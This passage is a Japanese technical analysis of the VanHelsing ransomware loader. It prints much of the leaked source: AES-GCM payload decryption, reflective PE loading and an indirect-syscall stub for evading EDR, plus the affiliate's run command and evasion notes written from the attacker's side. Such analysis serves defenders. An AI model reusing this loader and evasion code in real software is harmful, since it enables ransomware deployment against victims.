Scarlet Tactics

悪用厳禁

VanHelsing v1.0 Loader 技術解析

1. 本文書について

本文書は、VanHelsingランサムウェアのリークされたソースコードのうち、Loaderコンポーネント(暗号化ペイロードの復号・メモリ内実行モジュール)の技術解析である。

1.1 解析対象の位置づけ

# コンポーネント 役割 本文書の対象
1 Locker ファイル暗号化・ネットワーク拡散 VanHelsing v1.0 Locker 技術解析
2 Loader ペイロードの復号・メモリ内実行 本文書
3 Decrypter 暗号化ファイルの復号 VanHelsing v1.0 Decrypter 技術解析
4 Brewriter ブートレコード書き換え VanHelsing v1.0 Brewriter 技術解析
5 Builder ビルド・パッケージング・C2連携 VanHelsing v1.0 Builder 技術解析

1.2 なぜLoaderが必要なのか — Lockerを直接実行しない理由

VanHelsingのアフィリエイトが被害者環境でLockerを実行する方法は2つある:

  • 方法A(直接実行): Locker.exeを被害者ディスクに配置して実行
  • 方法B(Loader経由): Loader.exe(暗号化されたLockerを内包)を配置し、鍵を指定して実行

方法Aの問題は、Locker.exeが平文でディスク上に存在することである。Lockerはlibsodium、PSExec、ランサムノート文字列、Tor .onionアドレスなど、AV/EDRのシグネチャに引っかかりやすい特徴を大量に含む。ディスクに書き込まれた瞬間にリアルタイムスキャンで検知される可能性が高い。

方法BのLoaderが解決する問題:

問題 Locker直接実行 Loader経由
ディスク上のLockerバイナリ 平文で存在 → AVシグネチャ検知 AES-256-GCM暗号化済み → シグネチャ不一致
ファイルスキャン Lockerのハッシュが即座にIOCマッチ Loaderのハッシュのみ。Lockerは復号されるまで存在しない
メモリ上のLocker Windows Loader経由 → ntdllフックで全API監視 リフレクティブPE + 直接syscall → ntdllフック回避
Lockerの復旧 ディスクからバイナリを回収可能 鍵なしでは暗号化ペイロードの復号不能
フォレンジック Lockerバイナリがイベントログに記録 コマンドラインに鍵が記録されるが、Lockerバイナリ自体は残らない

つまりLoaderは、Lockerをディスクに触れさせずにメモリ上で実行するための「防弾チョッキ」として機能する。

1.3 ビルドパイプライン — BuilderがLoaderとLockerを結合する過程

Builderのソースコード(builder.cpp)から、Loader生成の具体的なパイプラインが確認できる[3]:

[Builder: BuildAndUploadLocker() — builder.cpp:28-256]

  (1) ソースコードを一時ディレクトリにコピー
      xcopy VanHelsing\ %TEMP%\<session>\ /E /H /C /I /F

  (2) common.h内のプレースホルダを置換
      "keyhere"  → アフィリエイトの公開鍵(Curve25519)
      "ticketId" → アフィリエイトのチケットID

  (3) Lockerをコンパイル
      msbuild 1-locker.vcxproj /t:Rebuild /p:Configuration=Release
      → 1-locker.exe を生成

  (4) Lockerバイナリを読み込み → AES-256-GCM鍵/nonceをランダム生成 → 暗号化
      encrypt_locker(ReadLocker("locker.exe"))
      → AES_MASTER_KEY(32バイト), AES_MASTER_NONCE(12バイト)を生成

  (5) 暗号化されたLockerをcode.hとして書き出し
      WriteDataHeader(encrypted_file, "3-loader/code.h")
      → unsigned char encrypted_code[...] = { 0x59, 0x23, ... };

  (6) Loaderをコンパイル(code.hを含む)
      msbuild 3-loader.vcxproj /t:Rebuild /p:Configuration=Release
      → 3-loader.exe を生成(暗号化Lockerが埋め込み済み)

  (7) ReadMeGuid.txtを生成(鍵情報を記載)
      "your password is : <AES_KEY_HEX>:<AES_NONCE_HEX>"

  (8) Locker.zipにパッケージ(loader.exe + ReadMeGuid.txt)
      → C2サーバーにアップロード

重要なポイント: AES鍵とnonceはビルドごとにランダム生成される(common.cpp:141-147)。つまり、同じアフィリエイトの同じLockerバイナリであっても、ビルドのたびに異なる暗号化が施される。鍵はLoaderバイナリには含まれず、ReadMeGuid.txt にのみ記載されてアフィリエイトに渡される。

1.4 アフィリエイトの実際の使用フロー

C2パネルからダウンロードされる Locker.zip の内容:

Locker.zip
├── loader.exe          # Loader(暗号化Lockerを内包)
└── ReadMeGuid.txt      # 使用方法と鍵情報

ReadMeGuid.txt にはアフィリエイト向けの実行ガイドが記載されている(builder common.cpp:231-304):

Windows Flags (locker.exe):
    your password is : <AES_KEY_HEX>:<AES_NONCE_HEX>
    --Password argument is required to run the locker
    --no-admin
        Disables check for admin rights.
    --no-priority
        Disables CPU and IO priority setting.
    --Directory
        to encrypt a specific directory
    ...(以下、Lockerの全フラグの説明)

アフィリエイトは以下のように実行する:

# 基本的な実行(Loaderが内部でLockerを復号・実行)
loader.exe --Password <KEY>:<NONCE>

# Loaderに渡されたフラグはLockerには伝播しない
# Lockerに渡したいフラグがある場合、Lockerの引数はビルド時に設定されるか、
# Loader内部で追加される(現在のソースコードではLoader→Lockerの引数転送は未実装)

OPSEC考察 — 鍵の配布経路がC2パネル経由: 鍵(KEY:NONCE)はC2パネルからZIPでダウンロードされるため、C2通信が監視されていれば鍵が傍受される可能性がある。しかし、C2通信自体が暗号化されている場合(HTTPS等)、鍵の安全性はC2チャネルのセキュリティに依存する。

1.5 攻撃チェーンの全体図

[ビルドフェーズ — Builder (攻撃者インフラ)]
  C2パネル → Builderにビルドタスク送信
    │  (build_publickey, ticket_id, architecture)
    ▼
  Builder: Lockerソースの鍵/ID置換 → Lockerコンパイル
    │
    ▼
  Builder: Lockerバイナリ → AES-256-GCM暗号化 → code.h生成
    │  (ランダム AES鍵 + nonce 生成)
    ▼
  Builder: Loaderコンパイル(code.h埋め込み) → loader.exe
    │
    ▼
  Builder: loader.exe + ReadMeGuid.txt → Locker.zip
    │
    ▼
  C2サーバーにアップロード → アフィリエイトがダウンロード

[実行フェーズ — 被害者環境]
  アフィリエイト: 初期侵入(RDP、フィッシング等)
    │
    ▼
  loader.exe を被害者ディスクに配置
    │  ※ この時点でLockerはAES暗号化されておりAV検知困難
    ▼
  loader.exe --Password <KEY>:<NONCE> を実行
    │
    ├── AES-256-GCM復号 → Lockerバイナリ(メモリ上のみ)
    ├── NtAllocateVirtualMemory (直接syscall/x64) → RWXメモリ確保
    ├── リフレクティブPEローディング(セクションコピー、インポート解決、リロケーション)
    └── エントリポイント呼び出し
         │
         ▼
    Lockerが動作開始(メモリ内で実行)
      ├── MonitorAndKill(セキュリティ/バックアップ停止)
      ├── PurgeShadowCopies(シャドウコピー削除)
      ├── ファイル暗号化(XChaCha20-Poly1305)
      ├── ネットワーク拡散(SMB + PSExec)
      └── README.txt配置 + 壁紙変更

1.3 ソースファイル構成

ファイル 行数 役割
main.cpp 317行 エントリポイント、リフレクティブPEローダー本体
core.h 112行 関数宣言、型定義、NtAllocateVirtualMemoryのsyscall関連定義
core.cpp 317行 コマンドライン解析(--Password)、AES鍵/nonce分割
code.h 123,226行 AES-256-GCMで暗号化されたペイロード(1,478,672バイト ≈ 1.4MB)
sys.asm 16行 x64 直接syscallアセンブリスタブ
oldmain.cpp 147行 旧バージョン(全面コメントアウト)

1.4 技術的特徴(要約)

項目 内容
ペイロード暗号化 AES-256-GCM(libsodium crypto_aead_aes256gcm
鍵受け渡し コマンドライン引数 --Password KEY:NONCE
PE実行方式 リフレクティブPEローディング(インプロセス)
メモリ確保 NtAllocateVirtualMemory 直接syscall(x64)/ ntdll関数ポインタ(x86)
対応アーキテクチャ x86 / x64 両対応(コンパイル時 #ifdef _M_X64 で分岐)
EDR回避技術 直接syscall、ファイルレスPE実行
ペイロードサイズ 1,478,672バイト(暗号化状態)

参考文献

[1] ソースコードディレクトリ: windows/builder/Release/VanHelsing/3-loader/
[2] https://www.bleepingcomputer.com/news/security/vanhelsing-ransomware-builder-leaked-on-hacking-forum/ (BleepingComputer)
[3] builder.cpp:28-256(BuildAndUploadLocker関数)、common.cpp:92-228(ReadLocker、encrypt_locker、WriteDataHeader関数)


2. 実行フロー全体像

2.1 WinMain() — エントリポイント (main.cpp:37-317)

Loader全体の実行フローを以下に示す。Lockerと同様にGUIアプリケーション(WinMain)として実装されており、通常実行時にコンソールウィンドウは表示されない。

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
                     LPSTR lpCmdLine, int nCmdShow)
{
    // コメントアウトされたデバッグコンソール
    //AllocConsole();
    //freopen("CONOUT$", "w", stdout);
    //InitializeLibsFunctions();  // 放棄されたAPI動的解決(第8章で解説)

    // (1) libsodium初期化
    if (sodium_init() < 0) {
        wprintf(L"[!] libsodium initialization failed\n");
        return 1;
    }

    // (2) コマンドライン解析(--Password KEY:NONCEの取得)
    if (ParseArgs() == FALSE) {
        wprintf(L"[!]\tParseArgs Faild\n");
        getchar();  // デバッグ用ブロック
        return 1;
    }

    // (3) 暗号化ペイロードの存在確認
    if (!encrypted_code) {
        wprintf(L"[!]\tFaild to get encrypted_code\n");
        getchar();
        return 1;
    }

    // (4) ペイロードの復号(AES-256-GCM)
    // (5) PEヘッダー検証
    // (6) メモリ確保(NtAllocateVirtualMemory)
    // (7) セクションコピー
    // (8) インポート解決
    // (9) リロケーション適用
    // (10) エントリポイント呼び出し
}

実行は以下の10ステップで構成される:

ステップ 処理 失敗時の挙動
1 libsodium初期化 即座に終了
2 --Password KEY:NONCE 解析 エラー表示 + getchar() で停止
3 暗号化ペイロード存在確認 エラー表示 + 停止
4 AES-256-GCM復号 エラー表示 + メモリ解放 + 停止
5 DOSヘッダー + NTヘッダー検証 エラー表示 + メモリ解放 + 停止
6 NtAllocateVirtualMemory (RWX) エラー表示 + メモリ解放 + 停止
7 ヘッダー + セクション memcpy
8 ImportDirectory解決 エラー表示 + メモリ解放 + 停止
9 BaseRelocation適用
10 エントリポイント関数呼び出し

OPSEC考察 — getchar()の複数箇所への配置: 複数のエラーパスと正常フロー上に getchar() が配置されている(main.cpp:53, 59, 69, 79, 91, 99, 115, 139, 147, 168, 173, 189)。特に行173の getchar() はx64パスの正常実行フロー上(NtAllocateVirtualMemory成功後)にある。これがデバッグ用の残留コードか、意図的なサンドボックス回避機構かについては第10章で詳しく分析する。

参考文献

[3] main.cpp:37-317


3. ペイロード復号(AES-256-GCM)

3.1 暗号化ペイロードの構造

code.h にはAES-256-GCMで暗号化されたLockerバイナリが C配列として埋め込まれている:

// code.h:2-3
int encrypted_codeSize = 1478672;
unsigned char encrypted_code[1478672] = {
    0x59, 0x23, 0x29, 0xE4, 0xAE, 0xCB, 0x6B, 0x17, ...
};

1,478,672バイト(約1.4MB)の暗号化ペイロードには、AES-256-GCMの認証タグ(16バイト)が含まれるため、復号後の平文PEバイナリは約1,478,656バイト(≈1.4MB)となる。このサイズはLockerバイナリ(暗号化ライブラリ、PSExecバイナリ等を含む)のサイズと整合する。

OPSEC考察 — なぜLockerの暗号化にAES-256-GCMを使用するか: Lockerのファイル暗号化にはXChaCha20-Poly1305を使用するが、Loader内のペイロード保護にはAES-256-GCMを使用している。 理由として:

  • AES-256-GCMはハードウェアアクセラレーション(AES-NI)が利用可能な環境で非常に高速であり、1.4MBのペイロード復号が瞬時に完了する
  • ペイロード暗号化はビルド時に1回だけ行われるため、ChaCha20のクロスプラットフォーム性は不要
  • AES-GCMはNISTが承認した暗号方式であり、セキュリティ製品のホワイトリストに含まれやすい

3.2 復号処理 (main.cpp:64-82)

// メモリ確保
BYTE* code = (BYTE*)malloc(encrypted_codeSize);
if (code == NULL) {
    wprintf(L"[!]\tFaild to decrypt \n");
    getchar();
    return 1;
}

// AES-256-GCM復号
unsigned long long codeSize = 0;
int decrypt_result = crypto_aead_aes256gcm_decrypt(
    code,                    // 出力バッファ(復号された平文)
    &codeSize,               // 出力サイズ
    NULL,                    // nsec(未使用)
    encrypted_code,          // 暗号文(code.hの配列)
    encrypted_codeSize,      // 暗号文サイズ
    NULL,                    // 追加認証データ(AAD)— 未使用
    NULL,                    // AADサイズ — 0
    reinterpret_cast<const unsigned char*>(AES_MASTER_NONCE.c_str()),  // 12バイトnonce
    reinterpret_cast<const unsigned char*>(AES_MASTER_KEY.c_str())     // 32バイト鍵
);

if (decrypt_result != 0) {
    wprintf(L"[!] Decryption failed with error code: %d\n", decrypt_result);
    getchar();
    free(code);
    return 1;
}

crypto_aead_aes256gcm_decrypt() はlibsodiumのAES-256-GCM復号関数である[4]。AES-GCMはAEAD(認証付き暗号)であり、復号と同時にデータの完全性を検証する。認証タグが一致しない場合(鍵またはnonceが間違っている、暗号文が改ざんされている)、復号は失敗し -1 が返される。

OPSEC考察 — 鍵がバイナリに含まれない設計: AES_MASTER_KEYAES_MASTER_NONCE はコマンドラインの --Password 引数から取得される(第6章で詳述)。 これはLockerの X25519_PUBLIC_KEY がバイナリに埋め込まれるのとは対照的な設計であり:

  • Loaderバイナリを取得しても、鍵なしではペイロードを復号できない
  • 静的解析でLockerバイナリのシグネチャを抽出することが不可能
  • フォレンジック調査でLoaderバイナリを回収しても、コマンドライン引数が別途必要

ただし、コマンドライン引数はプロセス作成時にWindows Security EventID 4688やSysmon EventID 1で記録されるため、鍵がイベントログに残る可能性がある。

3.3 AES-256-GCM の技術的詳細

パラメータ 定義
鍵長 32バイト (256ビット) crypto_aead_aes256gcm_KEYBYTES
nonce長 12バイト (96ビット) crypto_aead_aes256gcm_NPUBBYTES
認証タグ長 16バイト (128ビット) crypto_aead_aes256gcm_ABYTES

AES-256-GCMはAES(Advanced Encryption Standard)をGCM(Galois/Counter Mode)で運用する暗号化方式である。GCMモードはCTR(Counter)モードによるストリーム暗号化と、GHASH(Galois Hash)による認証タグ生成を組み合わせる。Intel AES-NIが利用可能なCPUではハードウェアレベルで処理されるため、ソフトウェア実装のChaCha20より高速になる場合がある。

AAD(追加認証データ)が未使用: crypto_aead_aes256gcm_decrypt() の第6, 7引数(AADとそのサイズ)が NULL, NULL で渡されている。AADはメタデータ(暗号化されないが認証される付加情報)を保護するために使用されるが、VanHelsingでは利用していない。これはAEADの機能を十分に活用していないが、ペイロード保護の目的としては暗号文の認証のみで十分である。

参考文献

[4] libsodium公式ドキュメント: AES-256-GCM — crypto_aead_aes256gcm
[5] code.h:2-3
[6] main.cpp:64-82


4. リフレクティブPEローディング

リフレクティブPEローディングは、Windows PEファイル(.exe/.dll)をディスクに書き出すことなくメモリ上で直接実行する技術である[7]。通常のWindows Loader(CreateProcess / LoadLibrary)を経由しないため、ファイルシステムレベルの監視やWindows Loaderにフックを設置するEDR製品を回避できる。MITRE ATT&CK T1620(Reflective Code Loading)に分類される。

4.1 PEヘッダー検証 (main.cpp:86-117)

復号されたバイト列がValid なPEファイルであることを確認する:

// DOSヘッダー検証
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)code;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)  // "MZ" (0x5A4D)
{
    wprintf(L"[!] Invalid DOS header\n");
    free(code);
    return 1;
}

// NTヘッダー検証
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(code + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)  // "PE\0\0" (0x00004550)
{
    wprintf(L"[!] Invalid NT signature\n");
    free(code);
    return 1;
}

// 32bit/64bit判定
BOOL is64Bit = FALSE;
if (ntHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)  // 0x20B
    is64Bit = TRUE;
else if (ntHeaders->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)  // 0x10B
    is64Bit = FALSE;
else {
    wprintf(L"[!] Unknown PE format\n");
    free(code);
    return 1;
}

DOSヘッダーの e_magic フィールド(最初の2バイト)が "MZ"(Mark Zbikowski、DOSの開発者の名前に由来)であること、e_lfanew が指すオフセットにNTヘッダーの "PE\0\0" シグネチャがあることを検証する。さらに、Optional Headerの Magic フィールドで32bit PE(0x10B)か64bit PE+(0x20B)かを判定する。

OPSEC考察 — 32/64bit両対応の意味: Loaderは復号されたペイロードのPEフォーマットを実行時に判定し、どちらにも対応する。これによりビルダーは32bit Lockerと64bit Lockerのどちらを埋め込んでも同じLoaderを使用できる。ただし、Loader自体のアーキテクチャ(#ifdef _M_X64)と復号されたペイロードのアーキテクチャが一致している必要がある(32bit Loaderで64bit PEを実行することはできない)。

4.2 メモリ確保 — NtAllocateVirtualMemory (main.cpp:119-193)

ここがLoaderのEDR回避における中核部分である:

// PEのメモリ上での展開サイズを取得
SIZE_T sizeOfImage = is64Bit ?
    ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.SizeOfImage :
    ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.SizeOfImage;

PVOID NullBuffer = NULL;
SIZE_T buffSize = sizeOfImage;

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

#ifdef _M_X64  // === x64アーキテクチャ ===

    // ntdll.dll内のNtAllocateVirtualMemoryのアドレスを取得
    UINT_PTR pNtAllocateVirtualMemory =
        (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    // syscall番号を動的に取得
    wNtAllocateVirtualMemory = GetSyscallNumber(pNtAllocateVirtualMemory);

    // ntdll内の実際のsyscall命令(0x0F 0x05)のアドレスを検索
    for (int i = 0; i < 50; i++) {
        if (*((BYTE*)(pNtAllocateVirtualMemory + i)) == 0x0F &&
            *((BYTE*)(pNtAllocateVirtualMemory + i + 1)) == 0x05) {
            sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + i;
            break;
        }
    }

    // 直接syscallでメモリ確保(PAGE_EXECUTE_READWRITE)
    NTSTATUS vprotect = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        (PVOID*)&NullBuffer,
        (ULONG_PTR)0,
        &buffSize,
        (ULONG)(MEM_COMMIT | MEM_RESERVE),
        PAGE_EXECUTE_READWRITE);

    getchar();  // 正常フロー上の入力待ち(第10章で分析)

#else  // === x86アーキテクチャ ===

    // ntdll関数ポインタ経由で呼び出し(直接syscallではない)
    NtAllocateVirtualMemory FnNtAllocateVirtualMemory =
        (NtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

    NTSTATUS vprotect = FnNtAllocateVirtualMemory(
        NtCurrentProcess(),
        (PVOID*)&NullBuffer,
        (ULONG_PTR)0,
        &buffSize,
        (ULONG)(MEM_COMMIT | MEM_RESERVE),
        PAGE_EXECUTE_READWRITE);

#endif

なぜ VirtualAlloc ではなく NtAllocateVirtualMemory を使用するか:

Win32 API の VirtualAlloc() はユーザーモードAPI(kernel32.dll)であり、内部的に ntdll!NtAllocateVirtualMemory を呼び出してカーネルモードのメモリ管理に要求を渡す。多くのEDR製品は ntdll.dll のエクスポート関数の先頭にインラインフックを設置し、NtAllocateVirtualMemory 等のAPI呼び出しを監視している。VanHelsingのLoaderは、このフックを回避するために以下の手法を使用する:

  1. GetProcAddressNtAllocateVirtualMemory のアドレスを取得
  2. そのアドレスからsyscall番号(mov eax, XXXX 部分)を動的に抽出
  3. 同じアドレス近傍から syscall 命令(0x0F 0x05)の実際のアドレスを検索
  4. アセンブリスタブ(sys.asm)からntdllのフック済み先頭コードを飛び越えて直接 syscall 命令のアドレスにジャンプ

この手法は「Indirect Syscall」と呼ばれ、SysWhispersプロジェクト[8]で広く知られている。直接 syscall 命令を自前のコード内に配置する「Direct Syscall」とは異なり、ntdll内の正規の syscall 命令アドレスにジャンプするため、コールスタック検証(呼び出し元がntdll内であることの確認)を回避できる。

OPSEC考察 — x86とx64の非対称な実装:

  • x64: sys.asmのアセンブリスタブ + syscall番号動的取得 + syscallアドレス検索 → Indirect Syscall
  • x86: GetProcAddress で取得した関数ポインタを直接呼び出し → EDR回避効果なし

x86パスでは通常のntdll関数ポインタ呼び出しであり、ntdllにフックが設置されていればそのフックを通過する。つまり、EDR回避はx64環境でのみ有効。現代のWindows環境はほぼ64bitであるため実用上は問題ないが、32bit環境ではEDRに検知されるリスクが高い。

4.3 syscall番号の動的取得 (main.cpp:24-34)

SIZE_T GetSyscallNumber(UINT_PTR pNtFunction)
{
    for (int i = 0; i < 20; i++) {
        // ntdll関数の先頭20バイト以内で "mov eax, XX" を検索
        if (*((BYTE*)(pNtFunction + i)) == 0xB8) {
            // 0xB8 は "mov eax, imm32" のオペコード
            // 次の4バイトがsyscall番号
            return *(SIZE_T*)(pNtFunction + i + 1);
        }
    }
    return 0;
}

Windowsのntdll関数スタブは以下の構造を持つ:

; NtAllocateVirtualMemory のntdllスタブ(典型例)
mov r10, rcx                ; 0x4C 0x8B 0xD1
mov eax, <syscall_number>   ; 0xB8 XX XX XX XX  ← ここからXXを抽出
syscall                     ; 0x0F 0x05
ret                         ; 0xC3

0xB8mov eax, imm32(32bit即値をeaxに移動)のオペコードであり、その直後の4バイトがsyscall番号である。syscall番号はWindowsのビルドごとに異なるため、ハードコードせず実行時に動的取得する必要がある。

4.4 アセンブリスタブ — sys.asm

; sys.asm — x64 NtAllocateVirtualMemory 直接syscallスタブ
option casemap:none

IFDEF AMD64
    .data
        EXTERN wNtAllocateVirtualMemory:DWORD
        EXTERN sysAddrNtAllocateVirtualMemory:QWORD
    .code
    NtAllocateVirtualMemory PROC
        mov r10, rcx                                    ; 第1引数をr10に移動(syscall規約)
        mov eax, wNtAllocateVirtualMemory               ; syscall番号をeaxにセット
        jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; ntdll内のsyscall命令にジャンプ
    NtAllocateVirtualMemory ENDP
ENDIF
end

このアセンブリスタブが core.hextern "C" 宣言された NtAllocateVirtualMemory 関数の実体である。C++コードから NtAllocateVirtualMemory(...) を呼び出すと、このアセンブリコードが実行される。

動作の詳細:

  1. mov r10, rcx — Windows x64 syscall規約では第1引数が rcx で渡されるが、syscall 命令は rcx を破壊する(RIPを保存するため)。そのため r10 にコピーする
  2. mov eax, wNtAllocateVirtualMemory — 動的に取得したsyscall番号をeaxにセット
  3. jmp QWORD PTR [sysAddrNtAllocateVirtualMemory] — ntdll内の syscall 命令のアドレスに直接ジャンプ

OPSEC考察 — Indirect SyscallとDirect Syscallの違い:

  • Direct Syscall: 自前のコード内に syscall 命令を配置。コールスタックに ntdll 外のアドレスが現れるため、ETWベースのコールスタック検証で検知可能[9]
  • Indirect Syscall(VanHelsingの手法): ntdll内の正規の syscall 命令にジャンプ。コールスタック上は ntdll 内のアドレスから syscall が実行されるため、コールスタック検証を回避しやすい

Palo Alto Networksの分析によれば、Indirect Syscallは「call stack spoofing(コールスタック偽装)と組み合わせることで検知が著しく困難になる」と報告されている[9]。ただし、VanHelsingのLoaderはコールスタック偽装を実装していないため、戻りアドレスの検証で検知される可能性がある。

4.5 セクションコピー (main.cpp:199-212)

// PEヘッダーをコピー
DWORD sizeOfHeaders = is64Bit ?
    ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.SizeOfHeaders :
    ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.SizeOfHeaders;
memcpy(NullBuffer, code, sizeOfHeaders);

// 各セクション(.text, .rdata, .data, .rsrc等)をコピー
PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i)
{
    BYTE* dest = (BYTE*)(NullBuffer) + sectionHeader[i].VirtualAddress;
    BYTE* src = code + sectionHeader[i].PointerToRawData;
    memcpy(dest, src, sectionHeader[i].SizeOfRawData);
}

PEファイルのディスク上のレイアウト(PointerToRawData)とメモリ上のレイアウト(VirtualAddress)は異なる。各セクションのファイルオフセットからメモリ上の仮想アドレスにデータをコピーすることで、Windows Loaderが行うセクションマッピングを手動で再現する。

4.6 インポート解決 (main.cpp:214-265)

PIMAGE_DATA_DIRECTORY importDirectory =
    &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

if (importDirectory->Size > 0)
{
    PIMAGE_IMPORT_DESCRIPTOR importDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)((BYTE*)(NullBuffer) + importDirectory->VirtualAddress);

    while (importDesc->Name)
    {
        // DLLをロード
        LPCSTR moduleName = (LPCSTR)((BYTE*)(NullBuffer) + importDesc->Name);
        HMODULE module = LoadLibraryA(moduleName);

        // OriginalFirstThunk(INT)とFirstThunk(IAT)を使用
        PIMAGE_THUNK_DATA thunk =
            (PIMAGE_THUNK_DATA)((BYTE*)(NullBuffer) + importDesc->FirstThunk);

        if (importDesc->OriginalFirstThunk) {
            // OriginalFirstThunkが存在する場合(標準的なPE)
            PIMAGE_THUNK_DATA origThunk =
                (PIMAGE_THUNK_DATA)((BYTE*)(NullBuffer) + importDesc->OriginalFirstThunk);

            while (origThunk->u1.AddressOfData) {
                if (origThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
                    // 序数(ordinal)によるインポート
                    thunk->u1.Function = (ULONGLONG)GetProcAddress(
                        module, (LPCSTR)(origThunk->u1.Ordinal & 0xFFFF));
                } else {
                    // 名前によるインポート
                    PIMAGE_IMPORT_BY_NAME importByName =
                        (PIMAGE_IMPORT_BY_NAME)((BYTE*)(NullBuffer)
                        + origThunk->u1.AddressOfData);
                    thunk->u1.Function = (ULONGLONG)GetProcAddress(
                        module, (LPCSTR)importByName->Name);
                }
                origThunk++;
                thunk++;
            }
        } else {
            // OriginalFirstThunkがない場合(バインドされたインポート等)
            // FirstThunkのみで解決
            while (thunk->u1.AddressOfData) {
                // ...同様の処理...
            }
        }
        importDesc++;
    }
}

インポートテーブル解決は、PEファイルが依存する外部DLL(kernel32.dll、user32.dll等)の関数アドレスを実行時に解決する処理である。LoadLibraryA で依存DLLをロードし、GetProcAddress で各関数のアドレスを取得してIAT(Import Address Table)に書き込む。

OPSEC考察 — LoadLibraryA/GetProcAddressの使用とEDR: LoadLibraryAGetProcAddress はWin32 API経由の呼び出しであり、EDRがフックしている可能性がある。しかし、これらのAPI呼び出し自体は正規のアプリケーションでも広く使用されるため、単体では悪意の指標にならない。注目すべきは LoadLibraryA に渡されるDLL名のリストで、LockerのDLL依存(libsodium.dll, Netapi32.dll等)がここで読み込まれる。

旧バージョン(oldmain.cpp)との差異: 旧バージョンでは OriginalFirstThunk の処理がなく、FirstThunk のみで解決していた。これは一部のPEファイル(特にバインドされたインポートを持つもの)で問題を引き起こす可能性があった。現行バージョンで修正されている。

4.7 リロケーション適用 (main.cpp:267-299)

PIMAGE_DATA_DIRECTORY relocationDirectory =
    &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

if (relocationDirectory->Size > 0) {
    // デルタ = 実際のロードアドレス - PEの想定ベースアドレス
    ULONGLONG delta = (ULONGLONG)((BYTE*)(NullBuffer)) - (is64Bit ?
        ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.ImageBase :
        ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.ImageBase);

    PIMAGE_BASE_RELOCATION relocation =
        (PIMAGE_BASE_RELOCATION)((BYTE*)(NullBuffer) + relocationDirectory->VirtualAddress);

    while (relocation->VirtualAddress) {
        BYTE* dest = (BYTE*)(NullBuffer) + relocation->VirtualAddress;
        DWORD count = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
        PWORD relInfo = (PWORD)(relocation + 1);

        for (DWORD i = 0; i < count; i++, relInfo++) {
            int type = *relInfo >> 12;
            int offset = *relInfo & 0xFFF;

            if (type == IMAGE_REL_BASED_HIGHLOW) {
                // 32bitリロケーション
                DWORD* patchAddr = (DWORD*)(dest + offset);
                *patchAddr += (DWORD)delta;
            }
            else if (type == IMAGE_REL_BASED_DIR64) {
                // 64bitリロケーション
                ULONGLONG* patchAddr = (ULONGLONG*)(dest + offset);
                *patchAddr += delta;
            }
        }
        relocation = (PIMAGE_BASE_RELOCATION)((BYTE*)relocation + relocation->SizeOfBlock);
    }
}

PEファイルは特定のベースアドレス(ImageBase)にロードされることを前提にコンパイルされる。NtAllocateVirtualMemory で確保されたアドレスがこの想定アドレスと異なる場合、コード内の絶対アドレス参照を修正する必要がある。デルタ(実際のアドレスと想定アドレスの差)を計算し、リロケーションテーブルに従って各アドレス参照にデルタを加算する。

32bit(IMAGE_REL_BASED_HIGHLOW)と64bit(IMAGE_REL_BASED_DIR64)の両方のリロケーションタイプに対応しており、旧バージョン(oldmain.cpp)が32bitのみ対応だったのに対し、大幅に改善されている。

4.8 エントリポイント呼び出し (main.cpp:301-310)

// エントリポイントのRVA(相対仮想アドレス)を取得
DWORD entryPoint = is64Bit ?
    ((PIMAGE_NT_HEADERS64)ntHeaders)->OptionalHeader.AddressOfEntryPoint :
    ((PIMAGE_NT_HEADERS32)ntHeaders)->OptionalHeader.AddressOfEntryPoint;

// 関数ポインタとしてキャスト
using EXE_ENTRY = void(*)();
EXE_ENTRY entryFunc = (EXE_ENTRY)((BYTE*)(NullBuffer) + entryPoint);

// エントリポイントを呼び出し — ここからLockerの実行が開始
entryFunc();

// Locker実行完了後のクリーンアップ
free(code);  // 復号バッファを解放
// NullBuffer(マッピングされたPE)は解放されない

entryFunc() の呼び出しにより、メモリ上にマッピングされたLockerの WinMain(または DllMain)が実行される。Lockerの実行が完了して戻ると、code(復号バッファ)は解放されるが、NullBuffer(マッピングされたPE領域)は解放されない。

バグ: NullBufferの未解放: NtAllocateVirtualMemory で確保したメモリは NtFreeVirtualMemory で解放すべきだが、この呼び出しがない。Lockerの実行後にLoaderプロセスが終了すれば自動的に解放されるが、クリーンアップの不完全さは開発品質の問題を示す。

参考文献

[7] T1620 - Reflective Code Loading (MITRE ATT&CK)
[8] https://github.com/jthuraisamy/SysWhispers (SysWhispers)
[9] https://www.paloaltonetworks.com/blog/security-operations/a-deep-dive-into-malicious-direct-syscall-detection/ (Palo Alto Networks)
[10] main.cpp:86-310


5. Syscall直接呼び出し(EDR回避)

第4章で解説したsyscall手法を、EDR回避の観点からさらに掘り下げる。

5.1 EDRフック回避の仕組み

[通常のAPI呼び出し(EDRフックあり)]
  アプリケーション
    → kernel32!VirtualAlloc (Win32 API)
      → ntdll!NtAllocateVirtualMemory
        → [EDRフック: パラメータ検査/ログ記録]  ← EDRがここで検知
